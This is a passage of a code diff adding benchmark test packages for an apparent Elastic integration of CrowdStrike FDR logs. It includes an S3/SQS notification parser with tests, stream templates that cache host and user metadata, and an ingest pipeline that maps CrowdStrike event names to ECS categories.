+            if (f.s3 && f.s3.bucket && f.s3.bucket.name && f.s3.object && f.s3.object.key) {
+              var evt = new S3EventV2();
+              evt.SetS3BucketName(f.s3.bucket.name);
+              evt.SetS3ObjectKey(f.s3.object.key);
+              if (f.s3.bucket.arn) {
+                evt.SetS3BucketARN(f.s3.bucket.arn);
+              }
+              if (f.awsRegion) {
+                evt.SetAWSRegion(f.awsRegion);
+              }
+              if (f.eventName) {
+                evt.SetEventName(f.eventName);
+              }
+              if (f.eventSource) {
+                evt.SetEventSource(f.eventSource);
+              }
+              evts.push(evt);
+            }
+          });
+        }
+      }
+      // Checks if event notification is S3 -> EventBridge -> SQS
+      else if (m.detail != null && m.detail.bucket != null && m.detail.object != null && m.detail.bucket.name != null && m.detail.object.key != null) {
+        var evt = new S3EventV2();
+        evt.SetS3BucketName(m.detail.bucket.name);
+        evt.SetS3ObjectKey(m.detail.object.key);
+        if (Array.isArray(m.resources) && m.resources.length > 0) {
+          evt.SetS3BucketARN(m.resources[0]);
+        }
+        if (m.source != null && m.source == "aws.s3") {
+          evt.SetEventSource("aws:s3");
+        }
+        if (m['detail-type'] == "Object Created") {
+          evt.SetEventName("ObjectCreated:Put");
+        }
+        evts.push(evt);
+      }
+    } else {
+      // FDR queue
+      files.sort(function(a, b) {
+        var isMetadata = function(a) {
+          return a.path && ((a.path.indexOf("aidmaster") !== -1) || (a.path.indexOf("userinfo") !== -1));
+        };
+        var cmp = function(a, b) {
+          if (a < b) {
+            return -1;
+          }
+          if (a > b) {
+            return 1;
+          }
+          return 0;
+        };
+        if (isMetadata(a) === isMetadata(b)) {
+          return cmp(a.path, b.path);
+        }
+        if (isMetadata(a)) {
+          return -1;
+        }
+        return 1;
+      });
+      files.forEach(function(f){
+        var evt = new S3EventV2();
+        evt.SetS3BucketName(bucket);
+        evt.SetS3ObjectKey(f.path);
+        evts.push(evt);
+      });
+    }
+    return evts;
+  }
+  function test() {
+    // Test FDR queue
+    var fdrEvents = parse("{\"bucket\":\"fdrBucket\",\"files\":[{\"path\":\"prefix/aidmaster\",\"size\":89118480,\"checksum\":\"d0f566f37295e46f28c75f71ddce9422\"},{\"path\":\"prefix/data\"}]}");
+    if (fdrEvents.length !== 2) {
+      throw "expecting two events";
+    }
+    if (fdrEvents[0].S3.Bucket.Name !== "fdrBucket") {
+        throw "expected bucket === fdrBucket";
+    }
+    if (fdrEvents[0].S3.Object.Key !== "prefix/aidmaster") {
+        throw "expected object key === prefix/aidmaster";
+    }
+    if (fdrEvents[1].S3.Object.Key !== "prefix/data") {
+        throw "expected object key === prefix/data";
+    }
+    // Test S3 -> SQS
+    var sqsEvents = parse("{\"Records\":[{\"eventVersion\":\"2.1\",\"eventSource\":\"aws:s3\",\"awsRegion\":\"us-west-2\",\"eventTime\":\"2025-05-27T11:38:32.511Z\",\"eventName\":\"ObjectCreated:Put\",\"userIdentity\":{\"principalId\":\"AWS:DKASHW31673218\"},\"requestParameters\":{\"sourceIPAddress\":\"81.2.69.142\"},\"responseElements\":{\"x-amz-request-id\":\"adqw312EASDS\",\"x-amz-id-2\":\"SD312ESDAD/ASDASDQX1E21XE/6aeP0eHq4aYCvF\"},\"s3\":{\"s3SchemaVersion\":\"1.0\",\"configurationId\":\"test-sqs-cs-s3-evt-notif-sqs\",\"bucket\":{\"name\":\"test-sqs-cs-s3\",\"ownerIdentity\":{\"principalId\":\"321DSAVDW2E1\"},\"arn\":\"arn:aws:s3:::test-sqs-cs-s3\"},\"object\":{\"key\":\"fdr-sample.log\",\"size\":114782,\"eTag\":\"41cdbd1843a4c49ef0255e2ccd48cb9d\",\"sequencer\":\"006835A4387B4406AF\"}}}]}");
+    if (sqsEvents.length !== 1) {
+      throw "expecting one events";
+    }
+    if (sqsEvents[0].S3.Bucket.Name !== "test-sqs-cs-s3") {
+        throw "expected bucket === test-sqs-cs-s3";
+    }
+    if (sqsEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-sqs-cs-s3") {
+        throw "expected Bucket ARN === arn:aws:s3:::test-sqs-cs-s3";
+    }
+    if (sqsEvents[0].S3.Object.Key !== "fdr-sample.log") {
+        throw "expected object key === fdr-sample.log";
+    }
+    // Test S3 -> SNS -> SQS
+    var snsEvents = parse("{\"Type\": \"Notification\",\"MessageId\": \"1066e639-8697-5211-9bbe-86a369b14af5\",\"TopicArn\": \"arn:aws:sns:us-east-2:11111111111:test-crowds-sns\",\"Subject\": \"Amazon S3 Notification\",\"Message\": \"{\\\"Records\\\":[{\\\"eventVersion\\\":\\\"2.1\\\",\\\"eventSource\\\":\\\"aws:s3\\\",\\\"awsRegion\\\":\\\"us-east-2\\\",\\\"eventTime\\\":\\\"2025-05-11T18:31:01.609Z\\\",\\\"eventName\\\":\\\"ObjectCreated:Put\\\",\\\"userIdentity\\\":{\\\"principalId\\\":\\\"AWS:PRINCIPALID\\\"},\\\"requestParameters\\\":{\\\"sourceIPAddress\\\":\\\"81.2.69.192\\\"},\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"dsaddwqdqd\\\",\\\"x-amz-id-2\\\":\\\"w1esdasdadpY=\\\"},\\\"s3\\\":{\\\"s3SchemaVersion\\\":\\\"1.0\\\",\\\"configurationId\\\":\\\"test-crowds-s3-notif\\\",\\\"bucket\\\":{\\\"name\\\":\\\"test-crowds-s3-buck\\\",\\\"ownerIdentity\\\":{\\\"principalId\\\":\\\"asdascedqwdq\\\"},\\\"arn\\\":\\\"arn:aws:s3:::test-crowds-s3-buck\\\"},\\\"object\\\":{\\\"key\\\":\\\"fdr-0_userinfo.log\\\",\\\"size\\\":489,\\\"eTag\\\":\\\"349c96ed5531edce2233ad417123736d\\\",\\\"sequencer\\\":\\\"006820ECE595B767EC\\\"}}}]}\",\"Timestamp\": \"2025-05-11T18:31:02.037Z\",\"SignatureVersion\": \"1\",\"Signature\": \"W131adsfwefQSF223SAsdddsaas+dsdadfadqweweweaxaDSCQQW==\",\"SigningCertURL\": \"https://sns.us-east-2.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem\",\"UnsubscribeURL\": \"https://sns.us-east-2.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:11111111111:test-crowds-sns:c2e6ff87-e009-4694-866a-5ceb79691a01\"}");
+    if (snsEvents.length !== 1) {
+      throw "expecting one events";
+    }
+    if (snsEvents[0].S3.Bucket.Name !== "test-crowds-s3-buck") {
+        throw "expected bucket === test-crowds-s3-buck";
+    }
+    if (snsEvents[0].AWSRegion !== "us-east-2") {
+        throw "expected AWS region === us-east-2";
+    }
+    // Test S3 -> EventBridge -> SQS
+    var ebEvents = parse("{\"version\":\"0\",\"id\":\"78fee647-ef01-0e61-507f-d19baef343f5\",\"detail-type\":\"Object Created\",\"source\":\"aws.s3\",\"account\":\"11111111111\",\"time\":\"2025-05-11T19:26:39Z\",\"region\":\"ap-south-1\",\"resources\":[\"arn:aws:s3:::test-eb-crowds-s3-buck\"],\"detail\":{\"version\":\"0\",\"bucket\":{\"name\":\"test-eb-crowds-s3-buck\"},\"object\":{\"key\":\"fdr-0_aidmaster.log\",\"size\":4414,\"etag\":\"a06a88462e6950f0be3bb83230047e87\",\"sequencer\":\"006820F9EF8D8284D4\"},\"request-id\":\"321987SDASD1W9\",\"requester\":\"11111111111\",\"source-ip-address\":\"89.160.20.128\",\"reason\":\"PutObject\"}}");
+    if (ebEvents.length !== 1) {
+      throw "expecting one events";
+    }
+    if (ebEvents[0].S3.Bucket.Name !== "test-eb-crowds-s3-buck") {
+        throw "expected bucket === test-eb-crowds-s3-buck";
+    }
+    if (ebEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-eb-crowds-s3-buck") {
+        throw "expected Bucket ARN === arn:aws:s3:::test-eb-crowds-s3-buck";
+    }
+    if (ebEvents[0].S3.Object.Key !== "fdr-0_aidmaster.log") {
+        throw "expected object key === fdr-0_aidmaster.log";
+    }
+  }
+{{#if tags.length}}
+tags:
+{{else}}
+{{#if preserve_original_event}}
+tags:
+{{/if}}
+{{/if}}
+{{#if preserve_original_event}}
+  - preserve_original_event
+{{/if}}
+{{#each tags as |tag|}}
+  - {{tag}}
+{{/each}}
+{{#contains "forwarded" tags}}
+publisher_pipeline.disable_host: true
+{{/contains}}
+fields_under_root: true
+fields:
+  _conf:
+    long_fields: {{long_fields}}
+    long_fields_max_length: {{long_fields_max_length}}
+    enable_deduplication: {{enable_deduplication}}
+    prune_fields: {{prune_fields}}
+processors:
+- add_locale: ~
+{{#if enrich_metadata}}
+- decode_json_fields:
+    fields: message
+    target: crowdstrike
+- if:
+    contains:
+      log.file.path: aidmaster
+  then:
+    - cache:
+        backend:
+          capacity: {{metadata_cache_capacity}}
+          file:
+            id: aidmaster
+            write_interval: {{metadata_cache_write_interval}}
+        put:
+          ttl: {{metadata_ttl}}
+          key_field: crowdstrike.aid
+          value_field: crowdstrike
+          ignore_missing: true
+{{#unless keep_metadata}}
+    - drop_event:
+        when:
+          contains:
+            log.file.path: aidmaster
+{{/unless}}
+  else:
+    - if:
+        contains:
+          log.file.path: userinfo
+      then:
+        - cache:
+            backend:
+              capacity: {{metadata_cache_capacity}}
+              file:
+                id: userinfo
+                write_interval: {{metadata_cache_write_interval}}
+            put:
+              ttl: {{metadata_ttl}}
+              key_field: crowdstrike.UserSid_readable
+              value_field: crowdstrike
+              ignore_missing: true
+{{#unless keep_metadata}}
+        - drop_event:
+            when:
+              contains:
+                log.file.path: userinfo
+{{/unless}}
+      else:
+        - cache:
+            backend:
+              file:
+                id: aidmaster
+            get:
+              key_field: crowdstrike.aid
+              target_field: metadata.host
+              ignore_missing: true
+        - cache:
+            backend:
+              file:
+                id: userinfo
+            get:
+              key_field: crowdstrike.UserSid
+              target_field: metadata.user
+              ignore_missing: true
+- drop_fields:
+    fields:
+      - crowdstrike
+{{/if}}
+{{#if processors}}
+{{processors}}
+{{/if}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs
new file mode 100644
index 0000000000..bd86e4b01f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs
@@ -0,0 +1,104 @@
+paths:
+{{#each paths as |path|}}
+  - {{path}}
+{{/each}}
+scan:
+  sort: filename
+  order: asc
+exclude_files: ['\.gz$']
+{{#if tags.length}}
+tags:
+{{else}}
+{{#if preserve_original_event}}
+tags:
+{{/if}}
+{{/if}}
+{{#if preserve_original_event}}
+  - preserve_original_event
+{{/if}}
+{{#each tags as |tag|}}
+  - {{tag}}
+{{/each}}
+{{#contains "forwarded" tags}}
+publisher_pipeline.disable_host: true
+{{/contains}}
+fields_under_root: true
+fields:
+  _conf:
+    long_fields: {{long_fields}}
+    long_fields_max_length: {{long_fields_max_length}}
+    enable_deduplication: {{enable_deduplication}}
+    prune_fields: {{prune_fields}}
+processors:
+- add_locale: ~
+{{#if enrich_metadata}}
+- decode_json_fields:
+    fields: message
+    target: crowdstrike
+- if:
+    contains:
+      log.file.path: aidmaster
+  then:
+    - cache:
+        backend:
+          capacity: {{metadata_cache_capacity}}
+          file:
+            id: aidmaster
+            write_interval: {{metadata_cache_write_interval}}
+        put:
+          ttl: {{metadata_ttl}}
+          key_field: crowdstrike.aid
+          value_field: crowdstrike
+          ignore_missing: true
+{{#unless keep_metadata}}
+    - drop_event:
+        when:
+          contains:
+            log.file.path: aidmaster
+{{/unless}}
+  else:
+    - if:
+        contains:
+          log.file.path: userinfo
+      then:
+        - cache:
+            backend:
+              capacity: {{metadata_cache_capacity}}
+              file:
+                id: userinfo
+                write_interval: {{metadata_cache_write_interval}}
+            put:
+              ttl: {{metadata_ttl}}
+              key_field: crowdstrike.UserSid_readable
+              value_field: crowdstrike
+              ignore_missing: true
+{{#unless keep_metadata}}
+        - drop_event:
+            when:
+              contains:
+                log.file.path: userinfo
+{{/unless}}
+      else:
+        - cache:
+            backend:
+              file:
+                id: aidmaster
+            get:
+              key_field: crowdstrike.aid
+              target_field: metadata.host
+              ignore_missing: true
+        - cache:
+            backend:
+              file:
+                id: userinfo
+            get:
+              key_field: crowdstrike.UserSid
+              target_field: metadata.user
+              ignore_missing: true
+- drop_fields:
+    fields:
+      - crowdstrike
+{{/if}}
+{{#if processors}}
+{{processors}}
+{{/if}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml
new file mode 100644
index 0000000000..864a40392f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml
@@ -0,0 +1,1875 @@
+---
+description: Pipeline for categorizing Crowdstrike events
+processors:
+  - set:
+      tag: set_event_category_604aa117
+      if: ctx.crowdstrike?.event_simpleName != null && ctx.crowdstrike.event_simpleName.endsWith('Written')
+      field: event.category
+      value:
+        - file
+  - script:
+      description: Categorize events.
+      tag: categorize_events_6b04e496
+      params:
+        AcUninstallConfirmation:
+          category:
+            - package
+          kind: state
+          outcome: success
+          type:
+            - deletion
+        AcUnloadConfirmation:
+          category:
+            - package
+          kind: state
+          outcome: success
+          type:
+            - deletion
+        ActiveDirectoryAuthentication:
+          category:
+            - authentication
+          kind: event
+          outcome: success
+          type:
+            - start
+        ActiveDirectoryAuthenticationFailure:
+          category:
+            - authentication
+          kind: event
+          outcome: failure
+          type:
+            - start
+        ActiveDirectoryIncomingDceRpcEpmRequest:
+          category:
+            - api
+          kind: event
+          outcome: unknown
+          type:
+            - start
+        ActiveDirectoryIncomingDceRpcRequest:
+          category:
+            - api
+          kind: event
+          outcome: unknown
+          type:
+            - start
+        ActiveDirectoryIncomingLdapSearchRequest:
+          category:
+            - database
+          kind: event
+          outcome: unknown
+          type:
+            - access
+        ActiveDirectoryIncomingPsExecExecution2:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - start
+        ActiveDirectoryInteractiveDomainLogon:
+          category:
+            - authentication
+          kind: event
+          outcome: success
+          type:
+            - start
+        ActiveDirectoryServiceAccessRequest:
+          category:
+            - database
+          kind: event
+          outcome: success
+          type:
+            - access
+        ActiveDirectoryServiceAccessRequestFailure:
+          category:
+            - database
+          kind: event
+          outcome: failure
+          type:
+            - access
+        AgentConnect:
+          category:
+            - network
+            - session
+          kind: event
+          outcome: success
+          type:
+            - connection
+            - info
+        AgentOnline:
+          category:
+            - configuration
+            - package
+            - host
+          kind: state
+          outcome: success
+          type:
+            - change
+            - installation
+            - start
+        AmsiRegistrationStatus:
+          category:
+            - host
+          kind: state
+          outcome: success
+          type:
+            - info
+        AsepFileChange:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+            - change
+        AsepKeyUpdate:
+          category:
+            - registry
+          kind: event
+          outcome: success
+          type:
+            - change
+        AsepValueUpdate:
+          category:
+            - registry
+          kind: event
+          outcome: success
+          type:
+            - change
+        AssociateIndicator:
+          category:
+            - threat
+          kind: event
+          outcome: unknown
+          type:
+            - indicator
+        AssociateTreeIdWithRoot:
+          category:
+            - malware
+          kind: alert
+          outcome: success
+          type:
+            - info
+        BITSJobCreated:
+          category:
+            - network
+            - file
+          kind: event
+          outcome: success
+          type:
+            - connection
+            - creation
+        BZip2FileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        BehaviorWhitelisted:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        BrowserInjectedThread:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - access
+            - change
+        ClassifiedModuleLoad:
+          category:
+            - library
+          kind: event
+          type:
+            - start
+        CloudAssociateTreeIdWithRoot:
+          category:
+            - malware
+          kind: alert
+          outcome: success
+          type:
+            - deletion
+        CommandHistory:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - end
+            - info
+        ConfigStateUpdate:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        CrashNotification:
+          category:
+            - host
+          kind: event
+          outcome: failure
+          type:
+            - info
+        CreateProcessArgs:
+          category:
+            - process
+          kind: state
+          outcome: success
+          type:
+            - start
+        CreateService:
+          category:
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        CreateThreadNoStartImage:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - start
+        CreateThreadReflectiveDll:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - change
+        CriticalEnvironmentVariableChanged:
+          category:
+            - configuration
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        CriticalFileAccessed:
+          category:
+            - file
+          kind: alert
+          outcome: success
+          type:
+            - access
+        CriticalFileModified:
+          category:
+            - file
+          kind: alert
+          outcome: success
+          type:
+            - change
+        CurrentSystemTags:
+          category:
+            - host
+          kind: state
+          outcome: success
+          type:
+            - info
+        CustomIOABasicProcessDetectionInfoEvent:
+          category:
+            - malware
+          kind: alert
+          outcome: unknown
+          type:
+            - info
+        DCSyncAttempted:
+          category:
+            - configuration
+            - iam
+          kind: event
+          outcome: unknown
+          type:
+            - access
+        DcOffline:
+          category:
+            - iam
+          kind: event
+          outcome: success
+          type:
+            - info
+        DcOnline:
+          category:
+            - iam
+          kind: event
+          outcome: success
+          type:
+            - info
+        DcStatus:
+          category:
+            - iam
+          kind: state
+          outcome: success
+          type:
+            - info
+        DetectAnalysis:
+          category:
+            - malware
+          kind: alert
+          outcome: success
+          type:
+            - info
+        DetectionExcluded:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+            - info
+        DirectoryCreate:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        DllInjection:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - change
+        DmpFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        DnsRequest:
+          category:
+            - network
+          kind: event
+          outcome: success
+          type:
+            - protocol
+        DocumentProgramInjectedThread:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - access
+            - change
+        DriverLoad:
+          category:
+            - driver
+          kind: event
+          outcome: success
+          type:
+            - start
+        DwgFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        EarlyExploitPivotDetect:
+          category:
+            - malware
+          kind: event
+          outcome: unknown
+          type:
+            - info
+        EndOfProcess:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - end
+        ErrorEvent:
+          category:
+            - package
+          kind: event
+          outcome: failure
+          type:
+            - info
+        EtwErrorEvent:
+          category:
+            - package
+            - host
+          kind: event
+          outcome: failure
+          type:
+            - info
+        ExecutableDeleted:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - deletion
+        FalconHostRegTamperingInfo:
+          category:
+            - registry
+          kind: alert
+          outcome: unknown
+          type:
+            - change
+        FalconProcessHandleOpDetectInfo:
+          category:
+            - malware
+            - process
+          kind: alert
+          type:
+            - info
+            - access
+        FalconServiceStatus:
+          category:
+            - package
+          kind: state
+          outcome: unknown
+          type:
+            - info
+        FileCreateInfo:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        FileDeleteInfo:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - deletion
+        FileDetectInfo:
+          category:
+            - file
+          kind: alert
+          outcome: unknown
+          type:
+            - creation
+        FileInfo:
+          category:
+            - file
+          kind: event
+          outcome: unknown
+          type:
+            - info
+        FileOpenInfo:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - access
+        FileRenameInfo:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - change
+        FileSystemOperationBlocked:
+          category:
+            - file
+          kind: event
+          outcome: failure
+          type:
+            - change
+            - deletion
+        FileSystemOperationDetectInfo:
+          category:
+            - file
+          kind: event
+          outcome: unknown
+          type:
+            - change
+            - deletion
+        FileTimestampsModified:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - change
+        FileWrittenWithEntropyHigh:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        FirewallChangeOption:
+          category:
+            - configuration
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        FirewallDeleteRule:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        FirewallDeleteRuleIP4:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        FirewallDeleteRuleIP6:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        FirewallDisabled:
+          category:
+            - configuration
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        FirewallEnabled:
+          category:
+            - configuration
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        FirewallSetRule:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        FirewallSetRuleIP4:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        FirewallSetRuleIP6:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        FirmwareAnalysisErrorEvent:
+          category:
+            - host
+          kind: state
+          outcome: failure
+          type:
+            - info
+        FirmwareAnalysisHardwareData:
+          category:
+            - host
+          kind: state
+          outcome: success
+          type:
+            - info
+        FirmwareAnalysisStatus:
+          category:
+            - host
+          kind: state
+          outcome: success
+          type:
+            - info
+        FlashThreadCreateProcess:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - start
+        FsPostOpenSnapshotFile:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - access
+        FsVolumeMounted:
+          category:
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        FsVolumeUnmounted:
+          category:
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        HostInfo:
+          category:
+            - host
+          kind: event
+          outcome: success
+          type:
+            - info
+        HostedServiceStarted:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - start
+        HostedServiceStopped:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - end
+        HostnameChanged:
+          category:
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        HttpRequestDetect:
+          category:
+            - network
+            - session
+          kind: event
+          outcome: success
+          type:
+            - connection
+            - start
+        HttpVisibilityStatus:
+          category:
+            - session
+          kind: state
+          outcome: unknown
+          type:
+            - info
+        IOServiceRegister:
+          category:
+            - package
+          kind: event
+          outcome: success
+          type:
+            - change
+        ImageHash:
+          category:
+            - library
+          kind: event
+          outcome: success
+          type:
+            - start
+        InjectedThread:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - change
+        InjectedThreadFromUnsignedModule:
+          category:
+            - process
+          kind: alert
+          outcome: success
+          type:
+            - change
+        InstallBundleDownloadComplete:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        InstallServiceDownloadComplete:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        InstalledApplication:
+          category:
+            - package
+          kind: event
+          outcome: success
+          type:
+            - installation
+        InstalledBrowserExtension:
+          category:
+            - package
+          kind: event
+          type:
+            - installation
+        InstalledUpdates:
+          category:
+            - host
+            - package
+          kind: event
+          outcome: success
+          type:
+            - change
+            - installation
+        InstanceMetadata:
+          category:
+            - host
+          kind: state
+          outcome: unknown
+          type:
+            - info
+        IoSessionConnected:
+          category:
+            - session
+          kind: event
+          outcome: success
+          type:
+            - start
+        IoSessionLoggedOn:
+          category:
+            - session
+          kind: event
+          outcome: success
+          type:
+            - end
+        JarFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        JavaClassFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        JavaInjectedThread:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - change
+        KernelModeLoadImage:
+          category:
+            - driver
+          kind: event
+          outcome: success
+          type:
+            - start
+        KernelServiceStarted:
+          category:
+            - process
+          kind: event
+          type:
+            - start
+        KextLoad:
+          category:
+            - driver
+          kind: event
+          outcome: success
+          type:
+            - start
+        KextUnload:
+          category:
+            - driver
+          kind: event
+          outcome: success
+          type:
+            - end
+        LFODownloadConfirmation:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        LfoUploadDataComplete:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - change
+        LfoUploadDataFailed:
+          category:
+            - file
+          kind: event
+          outcome: failure
+          type:
+            - change
+        LfoUploadDataUnneeded:
+          category:
+            - file
+          kind: event
+          outcome: failure
+          type:
+            - change
+        LocalIpAddressIP4:
+          category:
+            - configuration
+            - host
+          kind: state
+          outcome: success
+          type:
+            - change
+        LocalIpAddressIP6:
+          category:
+            - configuration
+            - host
+          kind: state
+          outcome: success
+          type:
+            - change
+        LocalIpAddressRemovedIP4:
+          category:
+            - configuration
+            - host
+          kind: state
+          outcome: success
+          type:
+            - change
+        LocalIpAddressRemovedIP6:
+          category:
+            - configuration
+            - host
+          kind: state
+          outcome: success
+          type:
+            - change
+        LsassHandleFromUnsignedModule:
+          category:
+            - process
+          kind: alert
+          outcome: unknown
+          type:
+            - change
+        MachOFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - change
+        ManifestDownloadComplete:
+          category:
+            - configuration
+            - file
+          kind: event
+          outcome: success
+          type:
+            - change
+            - creation
+        ModifyServiceBinary:
+          category:
+            - file
+          kind: event
+          outcome: unknown
+          type:
+            - change
+        ModuleBlockedEvent:
+          category:
+            - process
+            - malware
+          kind: alert
+          outcome: success
+          type:
+            - info
+            - denied
+        ModuleBlockedEventWithPatternId:
+          category:
+            - process
+            - malware
+          kind: event
+          outcome: unknown
+          type:
+            - info
+        ModuleDetectInfo:
+          category:
+            - process
+            - malware
+          kind: event
+          outcome: unknown
+          type:
+            - info
+        MountedVolume:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - info
+        NeighborListIP4:
+          category:
+            - host
+            - network
+          kind: state
+          outcome: unknown
+          type:
+            - info
+        NeighborListIP6:
+          category:
+            - host
+            - network
+          kind: state
+          outcome: unknown
+          type:
+            - info
+        NetShareAdd:
+          category:
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        NetShareDelete:
+          category:
+            - host
+          kind: event
+          outcome: success
+          type:
+            - change
+        NetShareSecurityModify:
+          category:
+            - configuration
+          kind: event
+          outcome: success
+          type:
+            - change
+        NetworkCloseIP4:
+          category:
+            - network
+          kind: event
+          outcome: unknown
+          type:
+            - end
+            - connection
+        NetworkCloseIP6:
+          category:
+            - network
+          kind: event
+          outcome: unknown
+          type:
+            - end
+            - connection
+        NetworkConnectIP4:
+          category:
+            - network
+          kind: event
+          outcome: unknown
+          type:
+            - start
+            - connection
+        NetworkConnectIP6:
+          category:
+            - network
+          kind: event
+          outcome: unknown
+          type:
+            - start
+            - connection
+        NetworkListenIP4:
+          category:
+            - network
+          kind: event
+          outcome: success
+          type:
+            - start
+        NetworkListenIP6:
+          category:
+            - network
+          kind: event
+          outcome: success
+          type:
+            - start
+        NetworkReceiveAcceptIP4:
+          category:
+            - network
+          kind: event
+          outcome: unknown
+          type:
+            - allowed
+            - access
+            - connection
+        NetworkReceiveAcceptIP6:
+          category:
+            - network
+          kind: event
+          outcome: unknown
+          type:
+            - allowed
+            - access
+            - connection
+        NewExecutableRenamed:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - change
+        NewExecutableWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        NewScriptWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        OciContainerTelemetry:
+          category:
+            - host
+          kind: state
+          outcome: unknown
+          type:
+            - info
+        OleFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        OoxmlFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        OsVersionInfo:
+          category:
+            - host
+          kind: event
+          outcome: success
+          type:
+            - info
+        PackedExecutableWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        PdfFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        PeFileWritten:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - creation
+        PeVersionInfo:
+          category:
+            - file
+          kind: event
+          outcome: success
+          type:
+            - info
+        PrivilegedProcessHandleFromUnsignedModule:
+          category:
+            - process
+          kind: alert
+          outcome: success
+          type:
+            - access
+        ProcessBlocked:
+          category:
+            - process
+          kind: alert
+          outcome: failure
+          type:
+            - access
+        ProcessExecOnPackedExecutable:
+          category:
+            - process
+            - file
+          kind: alert
+          outcome: success
+          type:
+            - access
+        ProcessExecOnSMBFile:
+          category:
+            - process
+            - file
+            - network
+          kind: alert
+          outcome: success
+          type:
+            - access
+        ProcessHandleOpDetectInfo:
+          category:
+            - process
+            - malware
+          kind: alert
+          outcome: success
+          type:
+            - info
+        ProcessInjection:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - change
+        ProcessRollup2:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - start
+        ProcessRollup2Stats:
+          category:
+            - process
+          kind: state
+          outcome: unknown
+          type:
+            - info
+        ProcessSelfDeleted:
+          category:
+            - process
+          kind: event
+          outcome: success
+          type:
+            - end
+        PromiscuousBindIP4:
+          category:
+            - host
+          kind: state
+          outcome: success
+          type:
+            - change
+        PtyCreated:
+          category:
+            - file
